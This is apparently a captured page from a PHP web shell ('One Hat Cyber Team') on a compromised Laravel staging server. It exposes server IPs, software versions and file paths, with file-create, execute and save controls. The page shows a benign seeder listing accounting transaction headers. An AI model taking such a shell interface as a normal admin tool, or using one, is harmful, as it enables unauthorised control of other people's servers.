One Hat Cyber Team
Your IP :
3.15.143.206
Server IP :
104.21.32.1
Server :
Linux agrigation-prod 5.15.0-67-generic #74-Ubuntu SMP Wed Feb 22 14:14:39 UTC 2023 x86_64
Server Software :
nginx/1.24.0
PHP Version :
7.4.33
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
home
/
forge
/
staging.gftag.com
/
database
/
seeders
/
Edit File:
TransactionHeaderSeeder.php
<?php namespace Database\Seeders; use Illuminate\Database\Console\Seeds\WithoutModelEvents; use Illuminate\Database\Seeder; use App\Models\CashTransactionHeader as Header; class TransactionHeaderSeeder extends Seeder { /** * Run the database seeds. */ public function run(): void { $headers = [ [ 'name' => 'Product Sale', 'type' => 'income' ], [ 'name' => 'Services Sales', 'type' => 'income' ], [ 'name' => 'Equity – (a) Shareholders (b) Govt grant', 'type' => 'income' ], [ 'name' => 'Govt. grant – FPO Management Cost', 'type' => 'income' ], [ 'name' => 'Advance against product / services', 'type' => 'income' ], [ 'name' => 'Loan', 'type' => 'income' ], [ 'name' => 'Product Purchase', 'type' => 'expense' ], [ 'name' => 'Man-power / Wages - Casual', 'type' => 'expense' ], [ 'name' => 'Assets / fixed Cost expenditures', 'type' => 'expense' ], [ 'name' => 'Salary – Permanent Employee', 'type' => 'expense' ], [ 'name' => 'Rent / Utility / Meetings / Trainings', 'type' => 'expense' ], [ 'name' => 'Travel', 'type' => 'expense' ], [ 'name' => 'IT Services', 'type' => 'expense' ], [ 'name' => 'Interest against loan', 'type' => 'expense' ], [ 'name' => 'Misc. / Others', 'type' => 'expense' ], [ 'name' => 'Advertisement / Promotion', 'type' => 'expense' ], ]; foreach($headers as $header) { Header::create([ 'name' => $header['name'], 'type' => $header['type'] ]); } } }
Simpan